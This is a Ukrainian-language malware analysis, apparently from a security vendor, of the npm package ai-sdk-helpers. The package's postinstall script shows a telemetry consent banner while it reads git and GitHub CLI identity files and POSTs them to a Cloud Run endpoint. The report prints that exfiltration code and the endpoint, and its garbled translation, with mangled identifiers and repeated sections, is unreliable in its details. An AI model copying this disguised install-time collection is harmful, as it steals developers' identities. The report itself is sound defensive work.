ConsentMask. Приховування пакета npm для збору ідентифікаційних даних розробника.

ConsentMask: npm-пакет, який відображає банер згоди телеметрії над збиранням ідентифікаційних даних розробника

TL, д-р

Один npm-пакет, ai-sdk-helpers, позиціонує себе як набір інструментів для виробництва Vercel AI SDK, пропонуючи відстеження витрат, резервний варіант постачальника та помічники потокової передачі.

Його скрипт під час встановлення відкривається з відшліфованого банера з розкриттям інформації, що описує анонімна діагностика, обіцяючи, що жодного вихідного коду, токенів чи облікових даних не буде передано, дотримуючись DO_NOT_TRACK відмова та посилання на сторінку політики телеметрії.

Потім той самий скрипт зчитує ідентифікатор git розробника, конфігурацію CLI GitHub, ім'я хоста машини, ім'я користувача ОС, робочий каталог та постачальника CI.

Ці дані надсилаються у форматі JSON до кінцевої точки Google Cloud Run, що створює явну невідповідність між заявленою політикою телеметрії та фактично зібраними полями.

Пакет було опубліковано у двадцяти двох версіях протягом одного 83-секундного пакету, а скрипт встановлення ідентичний байт у байт для кожної позначеної версії.

Сім із восьми версій, які розглянули наші pipeline були оцінені класифікатором машинного навчання як непереконливі, оскільки стиль банера згоди читається як справжня телеметрія.

Ми класифікуємо ai-sdk-helpers як шкідливий на основі збору та вилучення ідентифікаційних даних розробника під час встановлення.

Ступінь тяжкості: високий.

 Анатомія установки

{   "scripts": {     "postinstall": "node scripts/postinstall.js"   } }

після встановлення запускається автоматично на npm встановити, перш ніж будь-який рекламований код пакета буде імпортовано. Скрипт скрипти/postinstall.js саме тут зберігається вся поведінка під час встановлення.

Він відкривається блоком коментарів та повідомленням про виконання, написаним у реєстрі проєкту з відкритим кодом, що дбає про конфіденційність:

>Коли ви встановлюєте ai-sdk-helpers, ми проводимо швидку перевірку сумісності з середовищем та повідомляємо про анонімну діагностику… Дані повністю анонімні — ми збираємо інформацію про вашу платформу, версію Node та односторонній хеш ідентифікатора вашої машини. Вихідний код, токени чи облікові дані ніколи не передаються.

Він навіть підключає робочий шлюз відмови, перший виконуваний код у файлі:

if (   process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" ||   process.env.DO_NOT_TRACK === "1" ) {   process.exit(0); }

саме те, що спочатку закриває ці ворота, робить решту сприйнятою як консенсусну: розробник, який встановлює `D_НЕ_ВІДСЛІДЖУЄТЬСЯ` завершує встановлення тихо та завершує пакет відповідно до домовленості. Поважна відмова реальна. Для всіх, хто її не встановлює, вона обмежує описану нижче колекцію, а не вужчу «платформу, версію Node та односторонній хеш», як називається в повідомленні.

Нижче цього шлюзу скрипт збирає корисне навантаження, яке значно перевищує цей опис.

  • *Gідентичність.* rвирішитиScmІдентичність()` eads `~.gitconfig`,`~.config/git/config`,та поточного проекту `.це/конфігурація`,аналізує `[сер]` розділ, і повертає налаштований commit електронна пошта. Якщо жоден конфігураційний файл не видає адресу електронної пошти, система повертається до `GЕЛЕКТРОННА ПОШТА T_AUTHOR_EMAIL`,`GT_COMMITTER_EMAIL`,та `ЕAIL` змінні середовища. Рядок документації над функцією описує прочитане як спосіб «дедуплікації інсталяцій на машинах, що належать одній особі (наприклад, ноутбук + CI)» — заявлена ​​мета, яка вимагає стабільного ідентифікатора для кожного розробника, який commit приладдя для електронної пошти.
  • *GОбліковий запис tHub.* rsolveGitHubIdentity()` eads `~.config/gh/hosts.yml` й `~.config/gh/hosts.yaml` файл конфігурації, що записується інтерфейсом командного рядка GitHub під час автентифікації розробника — та витягує `u` за допомогою регулярних виразівем:` й `ехворий:` поля. У цьому файлі також зберігається токен GitHub OAuth; регулярний вираз скрипта цільово орієнтований на рядки імені користувача та електронної пошти та не витягує сам токен. Твердження банера розкриття інформації «жоден токен… ніколи не передається» таким чином буквально є істинним для цього одного поля, поки зчитуються та надсилаються навколишні ідентифікатори облікових записів.
  • *Hвідбиток пальця st та CI.* потім сценарій збирає `o.ім'я_хоста()`,`o.userInfo().ім'я_користувача,версія Node, платформа та архітектура, `pocess.cwd()`,та мітку постачальника CI, яка визначається перевіркою змінних середовища для восьми постачальників (GitHub Actions, GitLab CI, Jenkins, CircleCI, Travis, Buildkite та два прапорці generic-CI). Список постачальників читається як перелік місць, де скрипт очікує виконання — інтерактивні оболонки та автоматизована збірка. pipelineсхожі.

Усі вони згруповані в одне `d`агностики об'єкт, з полями для кожного розробника, зібраними в розділі `iсутність ey та дані хоста під `rчас й `сntext` очі, потім серіалізуються та передаються:

const req = https.request(   {     hostname: "npm-package-logger-228835561205.europe-west1.run.app",     path: "/",     method: "POST",     headers: { "Content-Type": "application/json" },     timeout: 5000,   },   () => {} );  req.on("error", () => {}); req.write(body); req.end();

Відповідь відкидається, а всі помилки проковтуються — у коментарі зазначається, що «телеметра ніколи не повинна переривати встановлення». Ім’я хоста кінцевої точки кодує службу Google Cloud Run у `eмотузковий захід1` регіон.

Прогалина — це вся історія. Банер називає три категорії даних: платформа, версія Node, хеш ідентифікатора машини. Корисне навантаження надсилає справжній git розробника. commit електронна пошта, їхнє ім'я користувача та електронна адреса GitHub, ім'я хоста їхньої машини та ім'я облікового запису ОС, шлях до їхнього проекту та їхнє середовище неперевершеної інтеграції. Поля, що визначають *prson та їхні облікові записи* саме ті поля, що пропущені в розкритті.

Файл README підсилює позицію з іншого боку. У розділі «Телеметрія» повторюється твердження про анонімність і пов’язується слово `D_НЕ_ВІДСЛІДЖУЄТЬСЯ` о `сnsoledonottrack.com`,справжня сторінка спільноти, яка документує угоду про відмову — запозичуючи визнану конфіденційність standard щоб повідомлення читалося як звичайна справа.

Хронологія

Це знахідка в одному пакеті з дуже короткою, дуже щільною історією публікацій. Немає багатотижневої дуги кампанії, яку можна було б простежити — весь діапазон версій був опублікований зі швидкістю машини.

Коли (UTC) Event
2026-06-03 20:31:20 Перша версія (0.1.0) опубліковано в npm.
2026-06-03 20:31:20 – 20:32:43 Усі 22 версії (0.1.0 через 1.4.2) опубліковано в 83-секундному автоматичному вибуху.
2026-06-04 Вісім версій, позначених сигналами виявлення; ручний аналіз підтверджує збір ідентифікаційних даних та їх вилучення під час встановлення. Пакет залишався активним на npm на момент аналізу.

83-секундне вікно між 22 семантичними версіями саме по собі є поведінковим індикатором: сходи версій (`01.0`,`01.1`,… `14.2`)представляє поверхню активно підтримуваного проєкту з історією релізів, створеною за один сценарій. Сценарій встановлення не змінюється в межах цієї сходинки — див. нижче.

Ознаки компромісу

Корисне навантаження під час встановлення ідентичне для всіх опублікованих версій. A `dff` f `sript/postinstall.js` версія `02.1` й версії `14.2` не повертає жодних відмінностей; поведінка є одним фіксованим відбитком, а не корисним навантаженням, що змінюється.

Мережа

83-секундне вікно між 22 семантичними версіями саме по собі є поведінковим індикатором: сходи версій (`01.0`,`01.1`,… `14.2`)представляє поверхню активно підтримуваного проєкту з історією релізів, створеною за один сценарій. Сценарій встановлення не змінюється в межах цієї сходинки — див. нижче.

Ознаки компромісу

Корисне навантаження під час встановлення ідентичне для всіх опублікованих версій. A `dff` f `sript/postinstall.js` версія `02.1` й версії `14.2` не повертає жодних відмінностей; поведінка є одним фіксованим відбитком, а не корисним навантаженням, що змінюється.

Мережа

індикатор Роль
npm-package-logger-228835561205.europe-west1.run.app Кінцева точка ексфільтрації, що отримує HTTPS POST-запити з JSON-корисними навантаженнями. Розміщено в Google Cloud Run. europe-west1 область.

Інфраструктура-приманка

індикатор Роль
ai-sdk.guide Домашня сторінка пакета та активний сайт, що підтримує ідентифікацію автора "AI SDK Guide".
ai-sdk.guide/telemetry URL-адреса політики телеметрії, зазначена в повідомленні про розкриття інформації під час встановлення.
hello@ai-sdk.guide Електронна адреса автора заявлена ​​в package.json.
github.com/ai-sdk-guide/ai-sdk-helpers Репозиторій вихідного коду, оголошений пакетом.

Файли, що зчитуються під час встановлення

  • -.gitconfig`,`~.config/git/config`,`<wd>/.git/config` git `[сер]` пошта
  • - .config/gh/hosts.yml`,`~.config/gh/hosts.yaml` Інтерфейс командного рядка GitHubер `eхворий

Поведінкові сигнатури

  • – м `пstinstall` ook виклик вбудованого скрипта Node
  • – ворота відмови (`A_SDK_HELPERS_ТЕЛЕМЕТРІЯ_ВИМКНЕНА`,`D_НЕ_ВІДСЛІДЖУЄТЬСЯ`)представлено як функцію конфіденційності, перед збором особистих даних
  • – tbound HTTPS POST об’єкта JSON, що містить адресу електронної пошти git, ідентифікатор GitHub, ім’я хоста, ім’я користувача ОС, cwd та мітку CI
  • – ідентичний скрипт встановлення через швидко публіковану сходинку версій

 Атрибуція та спостережувана поведінка
Ми не надаємо нічого, окрім того, що записано в метаданих пакета та реєстру.

Ведучим запису npm є обліковий запис `a`Іельсімон,з адресою `a`iel@vigilance.security`.У реєстрі ця електронна адреса позначена як неперевірена, а ідентифікаційний номер облікового запису в системі керування версіями – як неперевірений. `pckage.json`,окремо представляє автора як «Посібник зі штучного інтелекту SDK».ello@ai-sdk.guide>`”з домашньою сторінкою `a-sdk.guide` і репозиторій вихідного коду під назвою `gОрганізація thub.com/ai-sdk-guide. Домен електронної пошти облікового запису видавця (`vigilance.security`)та ідентифікатор автора в пакеті (`a-sdk.guide`)це різні домени.

-sdk.guide` ite активний та відповідає, а `/електрометрія ath вирішує — ідентифікація приманки підкріплена доступною веб-присутністю, а не непрацюючим посиланням, що підвищує правдоподібність фреймінгу пакета.

**Спостережувана можливість.** Під час встановлення пакет зчитує файли ідентифікації розробника та конфігурації облікового запису, ідентифікує середовище хоста та неперервної інтеграції та передає результат на кінцеву точку, керовану оператором, одночасно відображаючи повідомлення, яке описує вужчий та анонімізований набір даних. Ми описуємо таку поведінку; ми не стверджуємо про мотив її виникнення. Читачі, які оцінюють пакет, включаючи будь-яку сторону, яка розпізнає особу видавця, повинні зважити спостережувану невідповідність між заявленими та фактичними потоками даних.

Вплив, тенденції та рекомендації для захисників

Хто викривається. Будь-хто, хто встановлює ai-sdk-helpers — безпосередньо або як транзитивна залежність — запускає колекцію на цій машині. Оскільки тригером є після встановлення, анонсований код бібліотеки ніколи не потрібно імпортувати для потоку даних; достатньо лише встановлення. Середовища з найвищою цінністю – це робочі станції розробників із налаштованою ідентифікацією git та автентифікованим інтерфейсом командного рядка GitHub, а також CI-runners, де виявлення постачальника CI скриптом вказує на те, що колекція має запускатися всередині збірки. pipelineа також на ноутбуках.

Що воно викриває. Не секрети додатків у загальному випадку — корисне навантаження зосереджується на особистістьрозробника commit електронна пошта, ім'я та електронна адреса їхнього облікового запису GitHub, імена комп'ютерів та облікових записів, а також шлях до проєкту. Це попередньоcisкарта того, хто встановив пакет, на якій машині, в якому репозиторії та під якою системою неперервної збірки. Для організації кілька таких записів, взрахованих разом, перерахують, які інженери та які системи збірки встановили залежність — корисно як передвісник для більш цілеспрямованої подальшої діяльності, навіть якщо власна поведінка цього пакета зупиняється на зборі та передачі.

Тенденція: телеметрія як прикриття. Легітимні інструменти для розробників збирають анонімні діагностичні дані встановлення, а також існують правила, які дозволяють робити це належним чином — повідомлення про розкриття інформації, НЕ ВІДСЛІДКУВАТИ честь, прапорець відмови, URL-адреса політики — добре відомі. ai-sdk-helpers точно відтворює всі чотири ці конвенції та використовує їх як оболонку для збору ідентифікаційних даних. Наявність банера згоди, робочої відмови або посилання на політику конфіденційності не є доказом того, що пакет є надійним; ці елементи керування недорого імітувати. Єдина надійна перевірка — це те, що насправді читає код і куди він його фактично надсилає.

Таке пакування також має вимірний вплив на автоматизоване сортування. У всіх наших версіях pipeline Перевірені, коментарі простою мовою, структуровані назви полів та звичайний шлюз відмови скрипта встановлення були оцінені як звичайна телеметрія: сім з восьми повернулися непереконливий з класифікатора машинного навчання, а не зловмисного. Сигнал, який вирішує неоднозначність, знаходиться не в прозі, а в конкретних файлах, які відкриває скрипт (~ / .gitconfig, ~/.config/gh/hosts.yml) та місце призначення, куди його надсилають. Рецензент, автоматизований чи людський, який прочитає розкриття інформації та зупиниться на цьому, дійде неправильного висновку; рішення має ґрунтуватися на фактах потоку даних.

Рекомендації для захисників:

  • Встановлення зі скриптами, вимкненими за замовчуванням — npm install –ignore-scripts, або встановити ignore-scripts=true in .npmrc та явно виконувати перевірені кроки збірки. Це нейтралізує після встановлення-запущене стягнення по всіх напрямках.
  • Не ставтеся до елементів керування відмовою як до сигналів довіри. НЕ ВІДСЛІДКУВАТИ Посилання «check» або «telemetry policy» нічого не повідомляє про дані, які збирає скрипт, коли шлюз не встановлено.
  • Перед використанням допоміжних пакетів екосистеми штучного інтелекту прочитайте гачок встановлення. Простір Vercel AI SDK — це цільова сфера з високим рівнем довіри, що швидко розвивається; після встановлення що торкається ~ / .gitconfig or ~/.config/gh/ є чітким сигналом незалежно від того, як написані навколишні коментарі.
  • Моніторинг вихідного сигналу під час збірки. Вихідний HTTPS POST під час npm встановити, особливо до щойно налаштованої кінцевої точки хмарної функції, можна спостерігати на мережевому рівні та є надійною точкою виявлення для середовищ неперевершеної інтеграції (CI).
  • Зверніть увагу на стиснуті сходи версій. Пакет, вся семантична історія версій якого з'являється протягом кількох секунд разом із незмінним скриптом встановлення, представляє собою штучно створену історію обслуговування.
інструменти-для-аналізу-складу-програмного-засобу-sca
Визначте пріоритети, усуньте та захистіть ризики, пов'язані з програмним забезпеченням
Отримайте свій безкоштовний обліковий запис.
Не потрібна кредитна картка.

Забезпечте розробку та доставку програмного забезпечення

з пакетом продуктів Xygeni